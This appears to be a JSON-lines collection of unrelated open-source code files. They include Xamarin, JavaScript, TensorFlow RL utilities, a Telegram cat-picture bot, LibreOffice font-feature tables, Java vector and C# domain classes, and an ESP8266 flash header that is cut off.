+{"text": "using CrisisCheckinMobile.ViewModels;\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Xamarin.Forms;\n\nnamespace CrisisCheckinMobile\n{\n    public class ResourceViewPage : ContentPage\n    {\n        public ResourceViewPage(ResourceListItemViewModel resourceItem)\n        {\n            var task = Init(resourceItem);\n        }\n\n        private async Task Init(ResourceListItemViewModel resourceItem)\n        {\n\n            Padding = new Thickness(0, Device.OnPlatform(20, 0, 0), 0, 0);\n            BackgroundColor = Constants.HtBoxDarkBrown;\n\n            this.Title = resourceItem.Type;\n\n            var descriptionLabel = new Label\n            {\n                Text = resourceItem.Description,\n                FontSize = Device.GetNamedSize(NamedSize.Medium, typeof(Label)),\n                TextColor = Constants.HtBoxLightBrown\n            };\n\n            var personLabel = new Label\n            {\n                Text = $\"Contact Person: {resourceItem.PersonFullName}\",\n                FontSize = Device.GetNamedSize(NamedSize.Small, typeof(Label)),\n                TextColor = Color.White\n            };\n\n            var stateLabel = new Label\n            {\n                Text = $\"State: {resourceItem.Location_State}\",\n                FontSize = Device.GetNamedSize(NamedSize.Small, typeof(Label)),\n                TextColor = Color.White\n            };\n\n            var quantityLabel = new Label\n            {\n                Text = $\"Qty: {resourceItem.Qty.ToString()}\",\n                FontSize = Device.GetNamedSize(NamedSize.Small, typeof(Label)),\n                TextColor = Color.White\n            };\n\n            Content = new ScrollView\n            {\n                Content = new StackLayout\n                {\n                    Spacing = 10,\n                    Children = { descriptionLabel, personLabel, stateLabel, quantityLabel }\n                }\n            };\n\n        }\n    }\n}\n"}
+{"text": "var FullScreenEventHandler = function(){\n  canvas.onfullscreenchange = this.onFullScreenChange;\n}\n\nFullScreenEventHandler.prototype.onFullScreenChange = function(event){\n  if (document.fullscreenElement == canvas){\n    onFullScreen = true;\n    activeControl.onFullScreenChange(true);\n    if (mode == 1 && screenFullScreenChangeCallbackFunction){\n      screenFullScreenChangeCallbackFunction(true);\n    }\n  }else{\n    onFullScreen = false;\n    activeControl.onFullScreenChange(false);\n    if (mode == 1 && screenFullScreenChangeCallbackFunction){\n      screenFullScreenChangeCallbackFunction(false);\n    }\n  }\n}\n"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom typing import \\\n    List, \\\n    Optional, \\\n    NoReturn\n\n\ndef get_device():\n    '''\n    TODO: Annotation\n    '''\n    physical_devices = tf.config.experimental.list_physical_devices('GPU')\n    if len(physical_devices) > 0:\n        device = \"/gpu:0\"\n        for gpu in physical_devices:\n            tf.config.experimental.set_memory_growth(gpu, True)\n    else:\n        device = \"/cpu:0\"\n    return device\n\n\ndef show_graph(name='my_func_trace'):\n    '''\n    show tf2 graph in tensorboard. work for ppo, have bug in off-policy algorithm, like dqn..\n    TODO: fix bug when showing graph of off-policy algorithm based on TF2.\n    '''\n    def show_tf2_graph(func):\n        def inner(*args, **kwargs):\n            tf.summary.trace_on(graph=True)\n            ret = func(*args, **kwargs)\n            tf.summary.trace_export(name=name)\n            return ret\n        return inner\n    return show_tf2_graph\n\n\ndef get_TensorSpecs(*args):\n    \"\"\"\n    get all inputs' shape in order to fix the problem of retracting in TF2.0\n    \"\"\"\n    return [tf.TensorSpec(shape=[None] + i, dtype=tf.float32) for i in args]\n\n\ndef clip_nn_log_std(log_std, _min=-20, _max=2):\n    \"\"\"\n    scale log_std from [-1, 1] to [_min, _max]\n    Args:\n        log_std: log standard deviation of a gaussian distribution\n        _min: corrected minimum\n        _max: corrected maximum\n    Return:\n        log_std after scaling, range from _min to _max\n    \"\"\"\n    return _min + 0.5 * (_max - _min) * (log_std + 1)\n\n\ndef gaussian_rsample(mu, log_std):\n    \"\"\"\n    Reparameter\n    Args:\n        mu: mean value of a gaussian distribution\n        log_std: log standard deviation of a gaussian distribution\n    Return: \n        sample from the gaussian distribution\n        the log probability of sample\n    \"\"\"\n    std = tf.exp(log_std)\n    pi = mu + tf.random.normal(mu.shape) * std\n    log_pi = gaussian_likelihood(pi, mu, log_std)\n    return pi, log_pi\n\n\ndef gaussian_clip_rsample(mu, log_std, _min=-1, _max=1):\n    \"\"\"\n    Reparameter sample and clip the value of sample to range [_min, _max]\n    Args:\n        mu: mean value of a gaussian distribution\n        log_std: log standard deviation of a gaussian distribution\n        _min: minimum value of sample after clip\n        _max: maximum value of sample after clip\n    Return:\n        sample from the gaussian distribution after clip\n        the log probability of sample\n    \"\"\"\n    std = tf.exp(log_std)\n    pi = mu + tf.random.normal(mu.shape) * std\n    pi = tf.clip_by_value(pi, _min, _max)\n    log_pi = gaussian_likelihood(pi, mu, log_std)\n    return pi, log_pi\n\n\ndef gaussian_likelihood(x, mu, log_std):\n    \"\"\"\n    Calculating the log probability of a sample from gaussian distribution.\n    Args:\n        x: sample data from Normal(mu, std)\n        mu: mean of the gaussian distribution\n        log_std: log standard deviation of the gaussian distribution\n    Return:\n        log probability of sample. i.e. [[0.1, 0.1, 0.1], [0.1, 0.1, 0.1]], not [[0.3], [0.3]]\n    \"\"\"\n    pre_sum = -0.5 * (((x - mu) / (tf.exp(log_std) + 1e-8))**2 + 2 * log_std + tf.math.log(2 * np.pi))\n    return pre_sum\n\n\ndef gaussian_likelihood_sum(x, mu, log_std):\n    log_pi = gaussian_likelihood(x, mu, log_std)\n    return tf.reduce_sum(log_pi, axis=-1, keepdims=True)\n\n\ndef gaussian_entropy(log_std):\n    '''\n    Calculating the entropy of a Gaussian distribution.\n    Args:\n        log_std: log standard deviation of the gaussian distribution.\n    Return:\n        The average entropy of a batch of data.\n    '''\n    return tf.reduce_mean(0.5 * (1 + tf.math.log(2 * np.pi * tf.exp(log_std)**2 + 1e-8)))\n\n\ndef squash_action(pi, log_pi=None, *, need_sum=True):\n    \"\"\"\n    Enforcing action bounds.\n    squash action to range [-1, 1] and calculate the correct log probability value.\n    Args:\n        pi: sample of gaussian distribution\n        log_pi: log probability of the sample\n    Return:\n        sample range of [-1, 1] after squashed.\n        the corrected log probability of squashed sample.\n    \"\"\"\n    pi = tf.tanh(pi)\n    if log_pi is not None:\n        sub = tf.math.log(clip_but_pass_gradient(1 - pi**2, l=0, h=1) + 1e-8)\n        if need_sum:\n            log_pi = tf.reduce_sum(log_pi, axis=-1, keepdims=True)\n            log_pi -= tf.reduce_sum(sub, axis=-1, keepdims=True)\n        else:\n            log_pi -= sub\n    return pi, log_pi\n\n\ndef clip_but_pass_gradient(x, l=-1., h=1.):\n    \"\"\"\n    Stole this function from SpinningUp\n    Args:\n        x: data to be clipped.\n        l: lower bound\n        h: upper bound.\n    Return:\n        if x < l:\n            l\n        elif x > h:\n            h\n        else:\n            x\n    \"\"\"\n    clip_up = tf.cast(x > h, tf.float32)\n    clip_low = tf.cast(x < l, tf.float32)\n    return x + tf.stop_gradient((h - x) * clip_up + (l - x) * clip_low)\n\n\ndef squash_rsample(mu, log_std):\n    '''\n    Reparameter sample from guassian distribution. Sqashing output from [-inf, inf] to [-1, 1]\n    Args:\n        mu: mean of guassian distribution\n        log_std: log standard deviation of guassian distribution\n    Return:\n        actions range from [-1, 1], like [batch, action_value]\n    '''\n    return squash_action(*gaussian_rsample(mu, log_std), need_sum=True)\n\n\ndef tsallis_squash_rsample(mu, log_std, q):\n    '''\n    TODO: Annotation\n    '''\n    pi, log_pi = squash_action(*gaussian_rsample(mu, log_std), need_sum=False)\n    log_q_pi = tsallis_entropy_log_q(log_pi, q)\n    return pi, log_q_pi\n\n\ndef tsallis_entropy_log_q(log_pi, q):\n    if q == 1.:\n        return tf.reduce_sum(log_pi, axis=-1, keepdims=True)\n    else:\n        if q > 0.:\n            '''\n            cite from original implementation: https://github.com/rllab-snu/tsallis_actor_critic_mujoco/blob/9f9ba8e4dc8f9680f1e516d3b1391c9ded3934e3/spinup/algos/tac/core.py#L47\n            '''\n            pi_p = tf.exp(log_pi)\n        else:\n            pi_p = tf.minimum(tf.exp(log_pi), tf.pow(10., 8 / (1 - q)))\n        safe_x = tf.math.maximum(pi_p, 1e-6)\n        log_q_pi = (tf.pow(safe_x, (1 - q)) - 1) / (1 - q)\n        return tf.reduce_sum(log_q_pi, axis=-1, keepdims=True)\n\n\ndef huber_loss(td_error, delta=1.):\n    '''\n    TODO: Annotation\n    '''\n    return tf.where(tf.abs(td_error) <= delta, 0.5 * tf.square(td_error), delta * (tf.abs(td_error) - 0.5 * delta))\n\n\ndef update_target_net_weights(tge: List[tf.Tensor], src: List[tf.Tensor], ployak: Optional[float] = None) -> NoReturn:\n    '''\n    update weights of target neural network.\n    ployak = 1 - tau\n    '''\n    if ployak is None:\n        tf.group([t.assign(s) for t, s in zip(tge, src)])\n    else:\n        tf.group([t.assign(ployak * t + (1 - ployak) * s) for t, s in zip(tge, src)])\n"}
+{"text": "\n\n\n   \n      \n   \n\n   \n      \n   \n\n   \n      \n      \n   \n"}
+{"text": "\n  \n  \n    \n      true\n      true\n    \n  \n\n"}
+{"text": "// ==========================================================================\n// Project:   SproutCore Costello - Property Observing Library\n// Copyright: ©2006-2011 Strobe Inc. and contributors.\n//            Portions ©2008-2011 Apple Inc. All rights reserved.\n// License:   Licensed under MIT license (see license.js)\n// ==========================================================================\n\nsc_require('system/string');\n\n/** \n  @namespace\n  Extends String by adding a few helpful methods.\n*/\nSC.mixin(String.prototype,\n/** @scope String.prototype */ {\n\n  /**\n    @see SC.String.fmt\n  */\n  fmt: function() {\n    return SC.String.fmt(this, arguments);\n  },\n\n  /**\n    @see SC.String.w\n  */\n  w: function() {\n    return SC.String.w(this);\n  }\n\n});\n"}
+{"text": "/* Localized versions of Info.plist keys */\n\nNSHumanReadableCopyright = \"© 2005-2020 The Transmission Project, tüm hakları saklıdır\";\n"}
+{"text": "/*\n  KittyBot\n  Shows random Kitty pictures and gifs.\n*/\n\nconst TeleBot = require('../');\nconst bot = new TeleBot('TELEGRAM_BOT_TOKEN');\n\n// Great API for this bot\nconst API = 'https://thecatapi.com/api/images/get?format=src&type=';\n\n// Command keyboard\nconst replyMarkup = bot.keyboard([\n    ['/kitty', '/kittygif']\n], {resize: true, once: false});\n\n// Log every text message\nbot.on('text', function (msg) {\n    console.log(`[text] ${ msg.chat.id } ${ msg.text }`);\n});\n\n// On command \"start\" or \"help\"\nbot.on(['/start', '/help'], function (msg) {\n\n    return bot.sendMessage(msg.chat.id,\n        '😺 Use commands: /kitty, /kittygif and /about', {replyMarkup}\n    );\n\n});\n\n// On command \"about\"\nbot.on('/about', function (msg) {\n\n    let text = '😽 This bot is powered by TeleBot library ' +\n        'https://github.com/kosmodrey/telebot Go check the source code!';\n\n    return bot.sendMessage(msg.chat.id, text);\n\n});\n\n// On command \"kitty\" or \"kittygif\"\nbot.on(['/kitty', '/kittygif'], function (msg) {\n\n    let promise;\n    let id = msg.chat.id;\n    let cmd = msg.text.split(' ')[0];\n\n    // Photo or gif?\n    if (cmd == '/kitty') {\n        promise = bot.sendPhoto(id, API + 'jpg', {\n            fileName: 'kitty.jpg',\n            serverDownload: true\n        });\n    } else {\n        promise = bot.sendDocument(id, API + 'gif#', {\n            fileName: 'kitty.gif',\n            serverDownload: true\n        });\n    }\n\n    // Send \"uploading photo\" action\n    bot.sendAction(id, 'upload_photo');\n\n    return promise.catch(error => {\n        console.log('[error]', error);\n        // Send an error\n        bot.sendMessage(id, `😿 An error ${ error } occurred, try again.`);\n    });\n\n});\n\n// Start getting updates\nbot.start();\n"}
+{"text": "function Set-WordTableCell {\n    [CmdletBinding()]\n    param (\n        [Xceed.Document.NET.InsertBeforeOrAfter] $Table,\n        [nullable[int]] $RowNr,\n        [nullable[int]] $ColumnNr,\n        [System.Drawing.KnownColor] $FillColor,\n        [System.Drawing.KnownColor] $ShadingColor,\n        [bool] $Supress = $false\n    )\n    $Table = Set-WordTableCellFillColor -Table $Table -RowNr $RowNr -ColumnNr $ColumnNr -FillColor $FillColor -Supress $false\n    $Table = Set-WordTableCellShadingColor  -Table $Table -RowNr $RowNr -ColumnNr $ColumnNr -ShadingColor $ShadingColor -Supress $false\n    if ($Supress) { return } else { return $Table }\n}"}
+{"text": "/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/.\n *\n */\n\n#include \n#include \n\n#include \n\n#include \n\nnamespace vcl::font\n{\nOpenTypeFeatureDefinitionListPrivate::OpenTypeFeatureDefinitionListPrivate() { init(); }\n\nvoid OpenTypeFeatureDefinitionListPrivate::init()\n{\n    m_aFeatureDefinition.assign({\n        { featureCode(\"aalt\"), STR_FONT_FEATURE_ID_AALT },\n        { featureCode(\"afrc\"), STR_FONT_FEATURE_ID_AFRC },\n        { featureCode(\"alig\"), STR_FONT_FEATURE_ID_ALIG },\n        { featureCode(\"c2pc\"), STR_FONT_FEATURE_ID_C2PC },\n        { featureCode(\"c2sc\"), STR_FONT_FEATURE_ID_C2SC },\n        { featureCode(\"calt\"), STR_FONT_FEATURE_ID_CALT },\n        { featureCode(\"case\"), STR_FONT_FEATURE_ID_CASE },\n        { featureCode(\"clig\"), STR_FONT_FEATURE_ID_CLIG },\n        { featureCode(\"cpct\"), STR_FONT_FEATURE_ID_CPCT },\n        { featureCode(\"cpsp\"), STR_FONT_FEATURE_ID_CPSP },\n        { featureCode(\"cswh\"), STR_FONT_FEATURE_ID_CSWH },\n        { featureCode(\"dcap\"), STR_FONT_FEATURE_ID_DCAP },\n        { featureCode(\"dlig\"), STR_FONT_FEATURE_ID_DLIG },\n        { featureCode(\"dnom\"), STR_FONT_FEATURE_ID_DNOM },\n        { featureCode(\"dpng\"), STR_FONT_FEATURE_ID_DPNG },\n        { featureCode(\"expt\"), STR_FONT_FEATURE_ID_EXPT },\n        { featureCode(\"falt\"), STR_FONT_FEATURE_ID_FALT },\n        { featureCode(\"frac\"), STR_FONT_FEATURE_ID_FRAC,\n          std::vector{ { 0, STR_FONT_FEATURE_ID_FRAC_PARAM_0 },\n                                         { 1, STR_FONT_FEATURE_ID_FRAC_PARAM_1 },\n                                         { 2, STR_FONT_FEATURE_ID_FRAC_PARAM_2 } } },\n        { featureCode(\"fwid\"), STR_FONT_FEATURE_ID_FWID },\n        { featureCode(\"halt\"), STR_FONT_FEATURE_ID_HALT },\n        { featureCode(\"hist\"), STR_FONT_FEATURE_ID_HIST },\n        { featureCode(\"hkna\"), STR_FONT_FEATURE_ID_HKNA },\n        { featureCode(\"hlig\"), STR_FONT_FEATURE_ID_HLIG },\n        { featureCode(\"hngl\"), STR_FONT_FEATURE_ID_HNGL },\n        { featureCode(\"hojo\"), STR_FONT_FEATURE_ID_HOJO },\n        { featureCode(\"hwid\"), STR_FONT_FEATURE_ID_HWID },\n        { featureCode(\"ital\"), STR_FONT_FEATURE_ID_ITAL },\n        { featureCode(\"jalt\"), STR_FONT_FEATURE_ID_JALT },\n        { featureCode(\"jp78\"), STR_FONT_FEATURE_ID_JP78 },\n        { featureCode(\"jp83\"), STR_FONT_FEATURE_ID_JP83 },\n        { featureCode(\"jp90\"), STR_FONT_FEATURE_ID_JP90 },\n        { featureCode(\"jp04\"), STR_FONT_FEATURE_ID_JP04 },\n        { featureCode(\"kern\"), STR_FONT_FEATURE_ID_KERN },\n        { featureCode(\"lfbd\"), STR_FONT_FEATURE_ID_LFBD },\n        { featureCode(\"liga\"), STR_FONT_FEATURE_ID_LIGA },\n        { featureCode(\"lnum\"), STR_FONT_FEATURE_ID_LNUM },\n        { featureCode(\"mgrk\"), STR_FONT_FEATURE_ID_MGRK },\n        { featureCode(\"nalt\"), STR_FONT_FEATURE_ID_NALT },\n        { featureCode(\"nlck\"), STR_FONT_FEATURE_ID_NLCK },\n        { featureCode(\"numr\"), STR_FONT_FEATURE_ID_NUMR },\n        { featureCode(\"onum\"), STR_FONT_FEATURE_ID_ONUM },\n        { featureCode(\"opbd\"), STR_FONT_FEATURE_ID_OPBD },\n        { featureCode(\"ordn\"), STR_FONT_FEATURE_ID_ORDN },\n        { featureCode(\"ornm\"), STR_FONT_FEATURE_ID_ORNM },\n        { featureCode(\"palt\"), STR_FONT_FEATURE_ID_PALT },\n        { featureCode(\"pcap\"), STR_FONT_FEATURE_ID_PCAP },\n        { featureCode(\"pkna\"), STR_FONT_FEATURE_ID_PKNA },\n        { featureCode(\"pnum\"), STR_FONT_FEATURE_ID_PNUM },\n        { featureCode(\"pwid\"), STR_FONT_FEATURE_ID_PWID },\n        { featureCode(\"qwid\"), STR_FONT_FEATURE_ID_QWID },\n        { featureCode(\"rtbd\"), STR_FONT_FEATURE_ID_RTBD },\n        { featureCode(\"ruby\"), STR_FONT_FEATURE_ID_RUBY },\n        { featureCode(\"salt\"), STR_FONT_FEATURE_ID_SALT },\n        { featureCode(\"sinf\"), STR_FONT_FEATURE_ID_SINF },\n        { featureCode(\"smcp\"), STR_FONT_FEATURE_ID_SMCP },\n        { featureCode(\"smpl\"), STR_FONT_FEATURE_ID_SMPL },\n        { featureCode(\"subs\"), STR_FONT_FEATURE_ID_SUBS },\n        { featureCode(\"sups\"), STR_FONT_FEATURE_ID_SUPS },\n        { featureCode(\"swsh\"), STR_FONT_FEATURE_ID_SWSH },\n        { featureCode(\"titl\"), STR_FONT_FEATURE_ID_TITL },\n        { featureCode(\"tnam\"), STR_FONT_FEATURE_ID_TNAM },\n        { featureCode(\"tnum\"), STR_FONT_FEATURE_ID_TNUM },\n        { featureCode(\"trad\"), STR_FONT_FEATURE_ID_TRAD },\n        { featureCode(\"twid\"), STR_FONT_FEATURE_ID_TWID },\n        { featureCode(\"unic\"), STR_FONT_FEATURE_ID_UNIC },\n        { featureCode(\"valt\"), STR_FONT_FEATURE_ID_VALT },\n        { featureCode(\"vhal\"), STR_FONT_FEATURE_ID_VHAL },\n        { featureCode(\"vkna\"), STR_FONT_FEATURE_ID_VKNA },\n        { featureCode(\"vkrn\"), STR_FONT_FEATURE_ID_VKRN },\n        { featureCode(\"vpal\"), STR_FONT_FEATURE_ID_VPAL },\n        { featureCode(\"vrt2\"), STR_FONT_FEATURE_ID_VRT2 },\n        { featureCode(\"vrtr\"), STR_FONT_FEATURE_ID_VRTR },\n        { featureCode(\"zero\"), STR_FONT_FEATURE_ID_ZERO },\n    });\n\n    for (size_t i = 0; i < m_aFeatureDefinition.size(); ++i)\n    {\n        m_aCodeToIndex.emplace(m_aFeatureDefinition[i].getCode(), i);\n    }\n\n    m_aRequiredFeatures.assign({\n        featureCode(\"abvf\"), featureCode(\"abvm\"), featureCode(\"abvs\"), featureCode(\"akhn\"),\n        featureCode(\"blwf\"), featureCode(\"blwm\"), featureCode(\"blws\"), featureCode(\"ccmp\"),\n        featureCode(\"cfar\"), featureCode(\"cjct\"), featureCode(\"curs\"), featureCode(\"dist\"),\n        featureCode(\"dtls\"), featureCode(\"fin2\"), featureCode(\"fin3\"), featureCode(\"fina\"),\n        featureCode(\"flac\"), featureCode(\"half\"), featureCode(\"haln\"), featureCode(\"init\"),\n        featureCode(\"isol\"), featureCode(\"ljmo\"), featureCode(\"locl\"), featureCode(\"ltra\"),\n        featureCode(\"ltrm\"), featureCode(\"mark\"), featureCode(\"med2\"), featureCode(\"medi\"),\n        featureCode(\"mkmk\"), featureCode(\"mset\"), featureCode(\"nukt\"), featureCode(\"pref\"),\n        featureCode(\"pres\"), featureCode(\"pstf\"), featureCode(\"psts\"), featureCode(\"rand\"),\n        featureCode(\"rclt\"), featureCode(\"rkrf\"), featureCode(\"rlig\"), featureCode(\"rphf\"),\n        featureCode(\"rtla\"), featureCode(\"rtlm\"), featureCode(\"rvrn\"), featureCode(\"size\"),\n        featureCode(\"ssty\"), featureCode(\"stch\"), featureCode(\"tjmo\"), featureCode(\"vatu\"),\n        featureCode(\"vert\"), featureCode(\"vjmo\"),\n    });\n}\n\nnamespace\n{\nbool isCharacterVariantCode(sal_uInt32 nFeatureCode)\n{\n    return char((sal_uInt32(nFeatureCode) >> 24) & 0xFF) == 'c'\n           && char((sal_uInt32(nFeatureCode) >> 16) & 0xFF) == 'v';\n}\n\nbool isStylisticSetCode(sal_uInt32 nFeatureCode)\n{\n    return char((sal_uInt32(nFeatureCode) >> 24) & 0xFF) == 's'\n           && char((sal_uInt32(nFeatureCode) >> 16) & 0xFF) == 's';\n}\n\nOUString getNumericLowerPart(sal_uInt32 nFeatureCode)\n{\n    char cChar1((sal_uInt32(nFeatureCode) >> 8) & 0xFF);\n    char cChar2((sal_uInt32(nFeatureCode) >> 0) & 0xFF);\n\n    if (rtl::isAsciiDigit(static_cast(cChar1))\n        && rtl::isAsciiDigit(static_cast(cChar2)))\n    {\n        return OUStringChar(cChar1) + OUStringChar(cChar2);\n    }\n    return OUString();\n}\n\n} // end anonymous namespace\n\nbool OpenTypeFeatureDefinitionListPrivate::isSpecialFeatureCode(sal_uInt32 nFeatureCode)\n{\n    return isCharacterVariantCode(nFeatureCode) || isStylisticSetCode(nFeatureCode);\n}\n\nFeatureDefinition\nOpenTypeFeatureDefinitionListPrivate::handleSpecialFeatureCode(sal_uInt32 nFeatureCode)\n{\n    FeatureDefinition aFeatureDefinition;\n    OUString sNumericPart = getNumericLowerPart(nFeatureCode);\n    if (!sNumericPart.isEmpty())\n    {\n        if (isCharacterVariantCode(nFeatureCode))\n            aFeatureDefinition = { nFeatureCode, STR_FONT_FEATURE_ID_CVXX, sNumericPart };\n        else if (isStylisticSetCode(nFeatureCode))\n            aFeatureDefinition = { nFeatureCode, STR_FONT_FEATURE_ID_SSXX, sNumericPart };\n    }\n    return aFeatureDefinition;\n}\n\nFeatureDefinition OpenTypeFeatureDefinitionListPrivate::getDefinition(sal_uInt32 nFeatureCode)\n{\n    if (isSpecialFeatureCode(nFeatureCode))\n    {\n        return handleSpecialFeatureCode(nFeatureCode);\n    }\n\n    if (m_aCodeToIndex.find(nFeatureCode) != m_aCodeToIndex.end())\n    {\n        size_t nIndex = m_aCodeToIndex.at(nFeatureCode);\n        return m_aFeatureDefinition[nIndex];\n    }\n    return FeatureDefinition();\n}\n\nbool OpenTypeFeatureDefinitionListPrivate::isRequired(sal_uInt32 nFeatureCode)\n{\n    return std::find(m_aRequiredFeatures.begin(), m_aRequiredFeatures.end(), nFeatureCode)\n           != m_aRequiredFeatures.end();\n}\n\n} // end vcl::font namespace\n\n/* vim:set shiftwidth=4 softtabstop=4 expandtab: */\n"}
+{"text": "/*\n * Copyright (c) 2013, David Wicks\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or\n * without modification, are permitted provided that the following\n * conditions are met:\n *\n * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"cinder/Cinder.h\"\n\n#pragma once\n\n/**\n Pockets contains a variety of utilities of varying utility.\n\n Hopefully you can find some things of use to you here.\n */\nnamespace pockets\n{\n}\nnamespace pk = pockets;\n"}
+{"text": "/*\n * This file is part of Spout.\n *\n * Copyright (c) 2011 Spout LLC \n * Spout is licensed under the Spout License Version 1.\n *\n * Spout is free software: you can redistribute it and/or modify it under\n * the terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 3 of the License, or (at your option)\n * any later version.\n *\n * In addition, 180 days after any changes are published, you can use the\n * software, incorporating those changes, under the terms of the MIT license,\n * as described in the Spout License Version 1.\n *\n * Spout is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License,\n * the MIT license and the Spout License Version 1 along with this program.\n * If not, see  for the GNU Lesser General Public\n * License and see  for the full license, including\n * the MIT license.\n */\npackage org.spout.api.math;\n\nimport org.spout.api.util.StringUtil;\n\n/**\n * A 3-dimensional vector represented by int-precision x,y coordinates\n */\npublic class IntVector4 extends IntVector3 {\n\tprivate int w;\n\n\tpublic IntVector4(int w, int x, int y, int z) {\n\t\tsuper(x, y, z);\n\t\tthis.w = w;\n\t}\n\n\t/**\n\t * Sets the W coordinate\n\t */\n\tpublic void setW(int w) {\n\t\tthis.w = w;\n\t}\n\n\t/**\n\t * Gets the W coordinate\n\t *\n\t * @return The W coordinate\n\t */\n\tpublic int getW() {\n\t\treturn w;\n\t}\n\n\t/**\n\t * Sets this vector equal to the given vector\n\t */\n\tpublic void set(IntVector4 v) {\n\t\tsetW(v.getW());\n\t\tsetX(v.getX());\n\t\tsetY(v.getY());\n\t\tsetZ(v.getZ());\n\t}\n\n\t/**\n\t * Sets this vector equal to the given coordinates\n\t */\n\tpublic void set(int w, int x, int y, int z) {\n\t\tsetW(w);\n\t\tsetX(x);\n\t\tsetY(y);\n\t\tsetZ(z);\n\t}\n\n\t@Override\n\tpublic boolean isZero() {\n\t\treturn super.isZero() && this.w == 0;\n\t}\n\n\t/**\n\t * Adds the given vector to this vector\n\t */\n\tpublic void add(IntVector4 other) {\n\t\tsuper.add(other);\n\t\tw += other.w;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn StringUtil.toString(getW(), getX(), getY(), getZ());\n\t}\n\n\t@Override\n\tpublic IntVector4 copy() {\n\t\treturn new IntVector4(getW(), getX(), getY(), getZ());\n\t}\n\n\t@Override\n\tpublic boolean equals(Object o) {\n\t\tif (o == this) {\n\t\t\treturn true;\n\t\t} else if (!(o instanceof IntVector4)) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\tIntVector4 other = (IntVector4) o;\n\t\t\treturn other.getW() == getW() && other.getX() == getX() && other.getY() == getY() && other.getZ() == getZ();\n\t\t}\n\t}\n}\n"}
+{"text": "using DDDSample.Domain.Cargo;\r\n\r\nnamespace DDDSample.Domain.Handling\r\n{\r\n   /// \r\n   /// Provides access to cargo handling history.\r\n   /// \r\n   public interface IHandlingEventRepository\r\n   {      \r\n      /// \r\n      /// Returns handling history of cargo with provided tracking id.\r\n      /// \r\n      /// Cargo tracking id.\r\n      /// Cargo handling history.\r\n      HandlingHistory LookupHandlingHistoryOfCargo(TrackingId cargoTrackingId);\r\n\r\n      /// \r\n      /// Stores new handling event object.\r\n      /// \r\n      /// Object representing a cargo handling enent.\r\n      void Store(HandlingEvent handlingEvent);\r\n   }\r\n}"}
+{"text": "\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n\r\n  \r\n"}
+{"text": "pragma solidity ^0.7.0;\n\nimport \"./d.sol\";\n\ncontract C is D {\n\n}\n"}
+{"text": "## Input\n\nSimple (or not) text form elements:\n\n```html\n
    \n  \n  \n
    \n\n```\n\n\n"}
+{"text": "\n\n\n    \n\n    \n"}
+{"text": "/*\n * ESPRESSIF MIT License\n *\n * Copyright (c) 2016 \n *\n * Permission is hereby granted for use on ESPRESSIF SYSTEMS ESP8266 only, in which case,\n * it is free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the Software is furnished\n * to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or\n * substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n */\n\n#ifndef SPI_FLASH_H\n#define SPI_FLASH_H\n\ntypedef enum {\n    SPI_FLASH_RESULT_OK,\n    SPI_FLASH_RESULT_ERR,\n    SPI_FLASH_RESULT_TIMEOUT\n} SpiFlashOpResult;\n\ntypedef struct{\n\tuint32\tdeviceId;\n\tuint32\tchip_size;    // chip size in byte\n\tuint32\tblock_size;\n\tuint32  sector_size;\n\tuint32  page_size;\n\tuint32  status_mask;\n} SpiFlashChip;\n\n#define SPI_FLASH_SEC_SIZE      4096\n\nuint32 